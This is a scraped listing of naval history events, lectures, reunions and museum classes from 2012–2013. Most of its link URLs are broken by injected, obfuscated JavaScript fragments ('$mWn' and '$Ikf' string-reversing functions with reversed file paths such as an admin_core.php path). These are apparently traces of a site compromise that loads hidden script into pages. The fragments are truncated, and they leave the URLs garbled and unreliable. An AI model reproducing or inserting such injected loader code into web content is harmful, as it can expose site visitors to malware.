- [Battle of the Atlantic 70th Anniversary Commemoration – Londonderry](https://navyhistory.org/event/battle-of-the-atlantic-70th-anniversary-commemoration-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=[/) - In May 2013 the 70th Anniversary of the Battle of the Atlantic (BOA) will be commemorated with a series of events throughout the United Kingdom. The commemorations will be centred on three cities, London during 8-13 May, Londonderry between 10-12 May, and the culminating event in Liverpool from 24-27 May. Read more about the event
- [Battle of the Atlantic 70th Anniversary Commemoration - London](https://navyhistory.org/event/battle-of-the-atlantic-70th-anniversary-commemoration-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=[/) - In May 2013 the 70th Anniversary of the Battle of the Atlantic (BOA) will be commemorated with a series of events throughout the United Kingdom. The commemorations will be centred on three cities, London during 8-13 May, Londonderry between 10-12 May, and the culminating event in Liverpool from 24-27 May. Read more about the event
- [North American Society for Oceanic History 2013 Conference and Meeting](https://navyhistory.org/event/north-american-society-for-oceanic-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - The North American Society for Oceanic History (NASOH) will hold its conference and annual meeting in Alpena, Michigan from Wednesday, May 15, through Sunday, May 19, 2013. The main conference venue will be NOAA’s Great Lakes Maritime Heritage Center, headquarters of Thunder Bay National Marine Sanctuary, which is serving as the host institution. The conference
- [The War of 1812: From Enemies to Allies Conference](https://navyhistory.org/event/the-war-of-1812-from-enemies-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - To recognize and celebrate two centuries of peace between the U.S., Great Britain and Canada following the War of 1812, the U.S. Naval Academy will be home to an international academic conference including programs for the general public. An exhibit, featuring the iconic Don’t Give Up the Ship flag, the British Royal standard taken from
- [2013 Naval Order of the United States Congress](https://navyhistory.org/event/2013-naval-order-of-the-united-states-congress/) - Please visit the Naval Order of the United States website to learn more about their organization.
- [For the Little Skippers! Shells and Sweethearts](https://navyhistory.org/event/for-the-little-skippers-shells-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/s/) - Families with children 5-12 are invited to join U.S. Navy Museum staff as they explain the history of the popular and unique art form, Sailor Valentines. Participants will then make their own Sailor Valentine to take home. For more information on the National Museum of the United States Navy: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Red Sky at Night, Sailor’s delight, Red Sky at Morn, Sailors be warned!](https://navyhistory.org/event/home-school-at-the-museum-red-sky-at-night-sailors-delight-red-sky-at-morn-sailors-be-warned4/) - Ever wonder where that saying came from? This month, students will look at the different types of weather systems found over the ocean and how Sailors predict the weather (from early methods, such as the color of the sky, to modern technology). They will build their own barometers to test changing air pressure, and build
- [Home School at the Museum: Red Sky at Night, Sailor’s delight, Red Sky at Morn, Sailors be warned!](https://navyhistory.org/event/home-school-at-the-museum-red-sky-at-night-sailors-delight-red-sky-at-morn-sailors-be-warned3/) - Ever wonder where that saying came from? This month, students will look at the different types of weather systems found over the ocean and how Sailors predict the weather (from early methods, such as the color of the sky, to modern technology). They will build their own barometers to test changing air pressure, and build
- [Home School at the Museum: Red Sky at Night, Sailor’s delight, Red Sky at Morn, Sailors be warned!](https://navyhistory.org/event/home-school-at-the-museum-red-sky-at-night-sailors-delight-red-sky-at-morn-sailors-be-warned2/) - Ever wonder where that saying came from? This month, students will look at the different types of weather systems found over the ocean and how Sailors predict the weather (from early methods, such as the color of the sky, to modern technology). They will build their own barometers to test changing air pressure, and build
- [Home School at the Museum: Red Sky at Night, Sailor’s delight, Red Sky at Morn, Sailors be warned!](https://navyhistory.org/event/home-school-at-the-museum-red-sky-at-night-sailors-delight-red-sky-at-morn-sailors-be-warned1/) - Ever wonder where that saying came from? This month, students will look at the different types of weather systems found over the ocean and how Sailors predict the weather (from early methods, such as the color of the sky, to modern technology). They will build their own barometers to test changing air pressure, and build
- [Authors on Deck at the Navy Memorial - <em>Two Captains from Carolina: Moses Grandy, John Newland Maffitt, and the Coming of the Civil War</em>](https://navyhistory.org/event/authors-on-deck-at-the-navy-memorial-two-captains-from-carolina-moses-gr<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.lis/) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series in honor of Black History Month, author Bland Simpson will present his literary work, Two Captains from Carolina: Moses Grandy, John Newland Maffitt, and the Coming of the Civil War (University of North Carolina Press; September 2012). Two Captains from Carolina
- [USS <em>John R. Craig</em> (DD 885) Reunion](https://navyhistory.org/event/uss-john-r-craig-dd-885-reunion-2/) - 23rd Reunion of the USS John R Craig (DD 885) Reunion Association Contact: Jerry Chwalek 9307 Louisiana Street Livonia, MI 48150 734-525-1469 jermail@ameritech.net Visit http://www.ussjohnrcraig.com/ for more information.
- [War of 1812 - A Bicentennial Symposium ](https://navyhistory.org/event/war-of-1812-a-bicentennial-symposium/) - SPACE IS LIMITED- PLEASE RESERVE YOUR SPOT: $10.00 per person Learn more here: http://thewarof1812symposium.weebly.com/ (843) 727-2165 http://oldexchange.org/ cokerm@charleston-sc.gov Moderator- Dr. Don Hickey, The Citadel 8:30-9:00: Coffee and Introductory Remarks 9:00-9:45: Don Hickey (The Citadel): "Ten Things that Everyone Should Know About the War of 1812" 9:45-10:30: J.C.A. Stagg (University of Virginia): "A Needlessly Complicated Problem: Why
- [Statewide NC QSO Party at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/statewide-nc-qso-party-at-the-battleship-north-carolina/) - An Azalea Coast Amateur Radio Club Event The Azalea Coast Amateur Radio Club will operate from the Battleship North Carolina during the North Carolina QSO Party on Sunday, February 24, 2013. The event runs from Noon until 10:00PM local time. The purpose of this annual “HAM Radio” event is to allow amateur radio operators worldwide
- [Firepower! at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/firepower-at-the-battleship-north-carolina/) - Learn about and explore the Battleship North Carolina's 16-inch and 5-inch guns from the gun houses to the ammunition loading compartments; the 40mm and 20mm guns, and the weapons that they replaced (1.10 and 50 caliber guns). The finest guns are of little use without the means to direct their fire accurately at the target.
- [Authors on Deck at the Navy Memorial: <em>Churchill and Sea Power</em> by Christopher Bell](https://navyhistory.org/event/authors-on-deck-at-the-navy-memorial-churchill-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php./) - As part of the United States Navy Memorial’s “Authors on Deck” book lecture series, author Christopher Bell will present his latest work, Churchill and Sea Power (Oxford University Press, 2012). Bell addresses a surprisingly neglected aspect of Winston Churchill's career: his attitude to sea power. Churchill's relationship to the Royal Navy was closer and more
- [Book Talk - <em>Free Trade and Sailors' Rights in the War of 1812</em> with author Paul Gilje](https://navyhistory.org/event/book-talk-free-trade-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tset/) - The Maritime Committee of the Maryland Historical Society is co-sponsoring with the University of Baltimore a book-talk on Friday evening, February 22, 2013. The author is Professor Paul Gilje, whose new book is called Free Trade and Sailors' Rights in the War of 1812. To be published by the Cambridge University Press. Organizers expect the
- [USS <em>Hornet</em> (CV-8, CV, CVA, CVS-12) 65th Reunion](https://navyhistory.org/event/uss-hornet-cv-8-cv-cva-cvs-12-65th-reunion/) - All Ship's Company, Officers, Air Groups, Crew, Marines and their Families Welcomed. POC: Carl & Sandy Burket, Secretary PO Box 108 Roaring Spring, PA 16673 (814) 224-5063 Fax: (814) 224-0078 hornetcva@aol.com http://www.usshornetassn.com/
- [Lecture -  "Why the USS <em>Maine</em> Sailed to Havana: New Evidence"  with Walt Johanson ](https://navyhistory.org/event/lecture-why-the-uss-maine-sailed-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/s/) - Coffee is at 10:30 AM. Presentation begins at 11:00 AM. January 2013 marks 115 years since the battleship Maine was sent to Havana, its sinking the following month leading to the Spanish-American War. The standard explanation was that the ship was sent to Cuba to protect American lives and property. Walt Johanson explores other factors long
- [Brick by Brick: LEGO Shipbuilding at the Hampton Roads Naval Museum](https://navyhistory.org/event/brick-by-brick-lego-shipbuilding-at-the-hamp<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-e/) - Join the Hampton Roads Naval Museum for the second annual Brick by Brick: LEGO Shipbuilding program! Make your ship in advance to enter the contest. All ships must be registered at Hampton Roads Naval Museum between 10am and 2pm on February 2. Visit the Hampton Roads Naval Museum website to learn more: http://www.history.navy.mil/museums/hrnm/index.html
- [Hidden Battleship: Battleship North Carolina](https://navyhistory.org/event/hidden-battleship-battleship-north-carolina-2/) - Behind the Scenes of the Battleship NORTH CAROLINA For the explorer at heart, bring a friend and join the Battleship North Carolina for a unique, behind-the-scenes tour of un-restored areas of the Battleship. The four-hour tour consists of small groups with guides. Guests explore the bow (officers' country and boatswain locker), third deck (Radio II,
- [Hidden Battleship: Battleship <em>North Carolina</em>](https://navyhistory.org/event/hidden-battleship-battleship-north-carolina/) - Behind the Scenes of the Battleship NORTH CAROLINA For the explorer at heart, bring a friend and join the Battleship North Carolina for a unique, behind-the-scenes tour of un-restored areas of the Battleship. The four-hour tour consists of small groups with guides. Guests explore the bow (officers' country and boatswain locker), third deck (Radio II,
- [2013 Surface Navy Association Symposium](https://navyhistory.org/event/2013-surface-navy-association-symposium/) - Join the Surface Navy Association for our 25th National Symposium, January 15-17, 2013. This symposium brings together military, government and industry to highlight our Surface Navy Warriors currently serving, those that have served, and those that will serve in the future. Learn more and register here: http://www.navysna.org/2013Symposium/Index.htm
- [Lunchtime Lecture at the Navy Museum - <em>The Zimmerman Telegram: Intelligence, Diplomacy, and America’s Entry into World War I</em>](https://navyhistory.org/event/lunchtime-lecture-at-the-navy-museum-the-zimmerman-telegram-intelligence-diplomacy-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");retu/) - With author Thomas Boghardt The definitive account of Germany’s plot to keep the U.S. out of the European war by helping Mexico re-conquer the American southwest, and the British counter-intelligence coup that brought the startling news to the American public. For more information on the National Museum of the United States Navy: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Sound Science](https://navyhistory.org/event/home-school-at-the-museum-sound-science-4/) - Why does sound travel faster underwater? Students will explore the nature of sound waves and how the U.S. Navy uses sound, especially underneath the water. Then students will participate in hands on activities dealing with sound waves. Home School at the Museum is currently full, to be placed on the waitlist, please call: (202) 433-4995
- [Home School at the Museum: Sound Science](https://navyhistory.org/event/home-school-at-the-museum-sound-science-3/) - Why does sound travel faster underwater? Students will explore the nature of sound waves and how the U.S. Navy uses sound, especially underneath the water. Then students will participate in hands on activities dealing with sound waves. Home School at the Museum is currently full, to be placed on the waitlist, please call: (202) 433-4995
- [Home School at the Museum: Sound Science](https://navyhistory.org/event/home-school-at-the-museum-sound-science-2/) - Why does sound travel faster underwater? Students will explore the nature of sound waves and how the U.S. Navy uses sound, especially underneath the water. Then students will participate in hands on activities dealing with sound waves. Home School at the Museum is currently full, to be placed on the waitlist, please call: (202) 433-4995
- [Home School at the Museum: Sound Science](https://navyhistory.org/event/home-school-at-the-museum-sound-science1/) - Why does sound travel faster underwater? Students will explore the nature of sound waves and how the U.S. Navy uses sound, especially underneath the water. Then students will participate in hands on activities dealing with sound waves. Home School at the Museum is currently full, to be placed on the waitlist, please call: (202) 433-4995
- [New Years Eve On Board USS <em>Constellation</em>](https://navyhistory.org/event/new-years-eve-on-board-uss-constellation/) - Ring in the New Year on board USS Constellation, December 31, 10:00 pm - January 1, 1:00 am. All inclusive tickets. Non-Refundable. FOR THE BEST VIEW OF THE FIREWORKS, toast the New Year & Sip Champagne from USS Constellation's Deck. Appetizers and desserts will be served by ROUGE Fine Caterers with beer, mulled wine, hot
- [2013 Reunion: Destroyer Leader Association](https://navyhistory.org/event/2013-reunion-destroyer-leader-association/) - Destroyer Leader Association, DL-1, DL-2, DL-3, DL-4, DL-5, DDG-35, & DDG-36 will hold their annual reunion Sept. 30-Oct 3 2013 in Warwick, RI Contact Mike Bugara 36 Wild Cherry Lane Little Compton, RI 02837-1743 401-635-8860 mjbugara@hotmail.com DL-1, USS Norfolk Contact Bob Godas, 516-293-4115, bobg190@verizon.net DL-2/DDG-35, USS Mitscher Contact Raymond A Caldwell, 513-542-9488, raymondsr@fuse.net DL-3/DDG-36, USS
- [Pearl Harbor Day Remembrance at the Battleship <em>North Carolina</em>: Azalea Coast Amateur Radio Club Event](https://navyhistory.org/event/pearl-harbor-day-remembrance-at-the-battleship-north-carolina-azalea-coast-amateur-radio-club-event-2/) - The Azalea Coast Amateur Radio Club hosts a world wide ham radio operator event onboard the Battleship North Carolina commemorating the December 7, 1941, attack on Pearl Harbor. Radio operators making contact will receive a special postcard verifying contact. Please call 910-367-1758. Visit www.battleshipnc.com for more information.
- [Pearl Harbor Day Remembrance at the Battleship <em>North Carolina</em>: Azalea Coast Amateur Radio Club Event](https://navyhistory.org/event/pearl-harbor-day-remembrance-at-the-battleship-north-carolina-azalea-coast-amateur-radio-club-event/) - The Azalea Coast Amateur Radio Club hosts a world wide ham radio operator event onboard the Battleship North Carolina commemorating the December 7, 1941, attack on Pearl Harbor. Radio operators making contact will receive a special postcard verifying contact. Please call 910-367-1758. Visit www.battleshipnc.com for more information.
- [Battleship Alive at the Battleship <em>North Carolina</em>](https://navyhistory.org/event/battleship-alive-at-the-battleship-north-carolina-2/) - The Battleship North Carolina has sponsored "Living History" weekends, called "Battleship Alive," since 1997. "Living History" brings historical events, places and persons "alive" for the public by demonstrating various aspects of the past and allowing interaction with the interpreters. The Living History Crew (LHC) gives insight into the daily life and routine of the crew
- [Naval Order: Pearl Harbor Remembrance Dinner](https://navyhistory.org/event/naval-order-pearl-harbor-remembrance-dinner/) - Please join the Naval Order of the United States' National Capitol Commandery for their annual Pearl Harbor Remembrance Dinner on Friday, December 7th at the Rosslyn Holiday Inn starting at 1800 for social hour and dinner at 1900. The guest speaker will be Dr. Stuart Goldman. Make reservations with CAPT Bob Sinclair NLT Saturday, December
- [Nautical Arts and Crafts at the US Navy Museum](https://navyhistory.org/event/nautical-arts-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-sise/) - Come join the staff of the US Navy Museum as they make Navy themed holiday decorations. This activity is aimed at families with children 5-12 year of age. For more information on the National Museum of the United States Navy: http://www.history.navy.mil/branches/org8-1.htm
- [Home School at the Museum: Optics LASERs, Prisms, Reflection, Convex and Concave](https://navyhistory.org/event/home-school-at-the-museum-optics-lasers-prisms-reflection-convex-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};/) - From LASER pointers to periscopes, the U.S Navy relies on light waves every day to work and live aboard ships. Students will be exploring light waves, color and how light behaves with several hands on activities. * While this month’s classes are full, the Museum is accepting wait list reservations. Please call (202) 433-4995 to
- [Home School at the Museum: Optics LASERs, Prisms, Reflection, Convex and Concave](https://navyhistory.org/event/home-school-at-the-museum-optics-lasers-prisms-reflection-convex-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};/) - From LASER pointers to periscopes, the U.S Navy relies on light waves every day to work and live aboard ships. Students will be exploring light waves, color and how light behaves with several hands on activities. * While this month’s classes are full, the Museum is accepting wait list reservations. Please call (202) 433-4995 to
- [Home School at the Museum: Optics LASERs, Prisms, Reflection, Convex and Concave](https://navyhistory.org/event/home-school-at-the-museum-optics-lasers-prisms-reflection-convex-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};/) - From LASER pointers to periscopes, the U.S Navy relies on light waves every day to work and live aboard ships. Students will be exploring light waves, color and how light behaves with several hands on activities. * While this month’s classes are full, the Museum is accepting wait list reservations. Please call (202) 433-4995 to
- [Home School at the Museum: Optics LASERs, Prisms, Reflection, Convex and Concave](https://navyhistory.org/event/home-school-at-the-museum-optics-lasers-prisms-reflection-convex-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};/) - From LASER pointers to periscopes, the U.S Navy relies on light waves every day to work and live aboard ships. Students will be exploring light waves, color and how light behaves with several hands on activities. * While this month's classes are full, the Museum is accepting wait list reservations. Please call (202) 433-4995 to
- [Lunchtime Lecture and Book Signing at Navy Museum: <em>Intrepid Sailors</em> with author Chipp Reid](https://navyhistory.org/event/lunchtime-lecture-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-/) - The U.S. Navy's campaign against the Barbary pirates is one of the greatest sea stories in naval history. This book tells the story of Commodore Edward Preble and the legendary efforts of "Preble's Boys" to subdue the pirate leader of Tripoli, who declared war on the United States in 1801. Chipp Reid uses the words
- [Author on Deck Lecture - <em>Intrepid Sailors: The Legacy of Preble’s Boys and the Tripoli Campaign</em>](https://navyhistory.org/event/author-on-deck-lecture-intrepid-sailors-the-legacy-of-prebles-boys-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];/) - As part of the United States Navy Memorial’s Authors on Deck book lecture series, author Chipp Reid will present his latest work, Intrepid Sailors: The Legacy of Preble’s Boys and the Tripoli Campaign. (Naval Institute Press; October 9, 2012). Intrepid Sailors tells the story of Commodore Edward Preble and the legendary efforts of “Preble’s Boys”
- [Historic Ships 2012](https://navyhistory.org/event/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Royal Institution of Naval Architects 3rd international conference on historic ships, building on previous successful events, will explore the technical issues involved in the preservation, restoration and replication of historic vessels, including large passenger ships, warships, coastal & inland craft. The conference will be of interest and value to members of the many organizations world wide
- [National Archives Lecture: <em>Intrepid Sailors: The Legacy of Preble's Boys and the Tripoli Campaign</em>](https://navyhistory.org/event/national-archives-lecture-intrepid-sailors-the-legacy-of-prebles-boys-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[/) - Journalist and historian Chipp Reid discusses one of the greatest sea stories in the history of the U.S Navy. Under Commodore Edward Preble, the Navy came of age fighting the scourge of the time, the infamous Barbary Pirates, who had declared war on the United States in 1801. The exploits of the officers and sailors
- [Lunctime Lecture and Book Signing - <em>Round about the Earth: Circumnavigation from Magellan to Orbit</em> with author Joyce Chaplin](https://navyhistory.org/event/lunctime-lecture-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-s/) - Round about the Earth: Circumnavigation from Magellan to Orbit with author Joyce Chaplin For almost five hundred years, people have been finding ways to circle the Earth-by sail, steam, or liquid fuel; by cycling, driving, flying, going into orbit, even by using their own bodily power. The story begins with the first centuries of circumnavigation,
- [Candlelight Tour of the Washington Navy Yard](https://navyhistory.org/event/c<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/t/) - See the Navy Yard in a new light... candlelight. Take a narrated walking tour on luminary lit paths through the historic central and the most historic part of the Washington Navy Yard. Spaces on this tour are limited to 35 people. Please RSVP to 202-433-4995 with the names of everyone in your party (over age
- [Home School at the Museum: Math by the Mouth - Feeding a Navy](https://navyhistory.org/event/home-school-at-the-museum-math-by-the-mouth-feeding-a-navy-4/) - How many eggs does it take to make breakfast for a crew of an aircraft carrier? Who figures out the dietary needs of the U.S. Navy? Through various challenges and activities, students will discover what it takes to feed the United States Navy, and keep our sailors healthy! While spaces for Home School at the
- [Home School at the Museum: Math by the Mouth - Feeding a Navy](https://navyhistory.org/event/home-school-at-the-museum-math-by-the-mouth-feeding-a-navy-3/) - How many eggs does it take to make breakfast for a crew of an aircraft carrier? Who figures out the dietary needs of the U.S. Navy? Through various challenges and activities, students will discover what it takes to feed the United States Navy, and keep our sailors healthy! While spaces for Home School at the
- [Home School at the Museum: Math by the Mouth - Feeding a Navy](https://navyhistory.org/event/home-school-at-the-museum-math-by-the-mouth-feeding-a-navy-2/) - How many eggs does it take to make breakfast for a crew of an aircraft carrier? Who figures out the dietary needs of the U.S. Navy? Through various challenges and activities, students will discover what it takes to feed the United States Navy, and keep our sailors healthy! While spaces for Home School at the
- [Home School at the Museum: Math by the Mouth - Feeding a Navy](https://navyhistory.org/event/home-school-at-the-museum-math-by-the-mouth-feeding-a-navy/) - How many eggs does it take to make breakfast for a crew of an aircraft carrier? Who figures out the dietary needs of the U.S. Navy? Through various challenges and activities, students will discover what it takes to feed the United States Navy, and keep our sailors healthy! While spaces for Home School at the
- [50th Anniversary Cuban Missile Crisis Conference And Book Signing With Sergei Khrushchev](https://navyhistory.org/event/50th-anniversary-cuban-missile-crisis-conference-book-signing-sergei-khrushchev/) - The Cold War Museum in conjunction with the Department of History & Art History at George Mason University (GMU) will convene a distinguished panel of historians, authors, and first hand participants to discuss and commemorate the 50th anniversary of the Cuban Missile Crisis. This FREE half day program will be held Saturday October 27, 2012
- [USS <em>Constitution</em> Museum Chairman's Dinner & Awards Ceremony](https://navyhistory.org/event/uss-constitution-museum-chairmans-dinner-awards-ceremony/) - Honoring Robert L. Reynolds President & CEO, Putnam Investments Recipient of the Charles Francis Adams Award G. West Saltonstall Immediate Past Chairman, USS Constitution Museum President Emeritus, Eaton Vance Investment Counsel Recipient of the "Old Ironsides" Exemplary Service Award Dr. David Curtis Skaggs Historian, Author & Professor Emeritus Bowling Green State University Recipient of the
- [Lecture and Book Signing: Preparing for Victory: Thomas Holcomb and the Making of the Modern Marine Corps, 1936-1943](https://navyhistory.org/event/lecture-book-signing-preparing-for-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - A lecture with David J. Ulbrich, Ph.D. During the Great Depression, the U.S. Marine Corps fell to less than 18,000 men and its budgets slipped to $20 million in 1936. At this low point, Thomas Holcomb became Marine Corps Commandant. Over the next seven years, he directed the Corps’ incredible growth to 385,000 Marines with
- [Authors on Deck Lecture: Pirate Alley: Commanding Task Force 151 Off Somalia](https://navyhistory.org/event/authors-on-deck-lecture-pirate-alley-comm<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_n/) - Pirate Alley: Commanding Task Force 151 Off Somalia by RADM Terry McKnight, USN (Ret) and Michael Hirsh, Naval Institute Press The United States Navy Memorial presents an ongoing series of free lecture programs on the sea services. During the one-hour programs, authors will discuss their books, take questions from the audience and sign their books,
- [Authors on Deck Lecture: Zumwalt: The Life and Times of Admiral Elmo “Bud” Russell Zumwalt, Jr.](https://navyhistory.org/event/authors-on-deck-lecture-zumwalt-the-life-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_n/) - Zumwalt: The Life and Times of Admiral Elmo “Bud” Russell Zumwalt, Jr. by Larry Berman, Harper Collins Publishers The United States Navy Memorial presents an ongoing series of free lecture programs on the sea services. During the one-hour programs, authors will discuss their books, take questions from the audience and sign their books, which will
- [Military Classics Seminar ](https://navyhistory.org/event/military-classics-seminar/) - Mahon, John K. The War of 1812. Gainesville: University of Florida Press, 1972. Speakers: Michael J. Crawford (Naval History and Heritage Command) and Glenn F. Williams (U.S. Army Center of Military History). Schedule: 5:30 Gathering 6:30 Dinner 7:30 Discussion Cost: $30.00. Procedures: PLEASE TAKE NOTE: THE PROCEDURE FOR MAKING RESERVATIONS AND PAYING FOR DINNER IS
- [Lunchtime Lecture: "In the Shadow of Greatness: Voices of Leadership, Sacrifice, and Service from America's Longest War" with John Ennis](https://navyhistory.org/event/lunchtime-lecture-in-the-sha<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - They were walking to class on 9/11 when the World Trade Center and Pentagon were struck. These midshipmen were soon to graduate from the Naval Academy into a nation at war, the first officers to do so since Vietnam. Each story provides a glimpse into the lives of modern day Navy or Marine Corps officers
- [Lunchtime Lecture: Pirate Alley: Commanding Task Force 151 off Somalia](https://navyhistory.org/event/lunchtime-lecture-pirate-alley-comm<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/b/) - With piracy on the rise and fast becoming a serious global security issue, Rear Admiral Terry McKnight took command of a new multi-national task force in 2009 to combat piracy in the Gulf of Aden. As task force commander, he directed operations that disrupted several hijackings and resulted in the capture of sixteen Somali pirates.
- [Home School at the Museum: Unmanned Flight: Air Propelled Gliders](https://navyhistory.org/event/home-school-at-the-museum-unmanned-flight-air-propelled-gliders4/) - Students will explore the history and current use of unmanned drone aircraft in the U.S. Navy. They will then build and launch air propelled balsa wood gliders. All spaces for Home School at the Museum are full, but the Museum is accepting names for the waiting list, please call 202-433-4995 or 202-433-6826. For more information
- [Home School at the Museum: Unmanned Flight: Air Propelled Gliders](https://navyhistory.org/event/home-school-at-the-museum-unmanned-flight-air-propelled-gliders3/) - Students will explore the history and current use of unmanned drone aircraft in the U.S. Navy. They will then build and launch air propelled balsa wood gliders. All spaces for Home School at the Museum are full, but the Museum is accepting names for the waiting list, please call 202-433-4995 or 202-433-6826. For more information
- [Home School at the Museum: Unmanned Flight: Air Propelled Gliders](https://navyhistory.org/event/home-school-at-the-museum-unmanned-flight-air-propelled-gliders2/) - Students will explore the history and current use of unmanned drone aircraft in the U.S. Navy. They will then build and launch air propelled balsa wood gliders. All spaces for Home School at the Museum are full, but the Museum is accepting names for the waiting list, please call 202-433-4995 or 202-433-6826. For more information
- [Home School at the Museum: Unmanned Flight: Air Propelled Gliders](https://navyhistory.org/event/home-school-at-the-museum-unmanned-flight-air-propelled-gliders1/) - Students will explore the history and current use of unmanned drone aircraft in the U.S. Navy. They will then build and launch air propelled balsa wood gliders. All spaces for Home School at the Museum are full, but the Museum is accepting names for the waiting list, please call 202-433-4995 or 202-433-6826. For more information
- [Ghost Ship <EM>Barry</em>](https://navyhistory.org/event/ghost-ship-barry/) - Further details to follow at: http://www.history.navy.mil/branches/org8-1.htm
- [Lunchtime Lecture: Ready Seapower: A History of the U.S. Seventh Fleet](https://navyhistory.org/event/lunchtime-lecture-ready-seapower-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssal/) - Based on the Naval History and Heritage Command's newest publication by its former senior historian, Dr. Ed Marolda, Ready Seapower: A History of the U.S. Seventh Fleet, this lecture examines the U.S. Seventh Fleet's service in the Asia-Pacific region during the 20th and 21st centuries. The fleet saw combat in many of the battles of
- [Joint Service Make a Difference Day: Honor Flight at the World War II Memorial](https://navyhistory.org/event/joint-service-make-a-difference-day-honor-flight-at-the-world-war-ii-memorial/) - Volunteers are needed for the Joint Service Make a Difference Day Honor Flight that is scheduled for 20 Oct 2012 at the World War II Memorial in Washington DC. This is the largest honor flight that is scheduled for this year and which will include WW II veterans from Georgia, Ohio, Florida, New York, and
- [50th Anniversary of the Cuban Missile Crisis at Battleship Cove](https://navyhistory.org/event/50th-anniversary-of-the-cuban-missile-crisis-at-battleship-cove/) - Learn about the vital role the destroyer USS Joseph P. Kennedy Jr. played in this significant moment in world history. Events held throughout the day will include showing the movie “Thirteen Days”, Open House on USS Joseph P. Kennedy Jr. destroyer, and 50th Anniversary Commemoration Service. A schedule of the day’s events will be available
- [National Archives Film: The Missiles of October](https://navyhistory.org/event/national-archives-film-the-missiles-of-oc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap/) - William Devane portrays President John F. Kennedy and Martin Sheen is Attorney General Robert F. Kennedy in this critically acclaimed, made-for-television docudrama of the Cuban Missile Crisis. Use of the film courtesy of CBS Television Studios. (1974; 150 mins) This program is being presented in conjunction with the exhibit "To the Brink: JFK and the
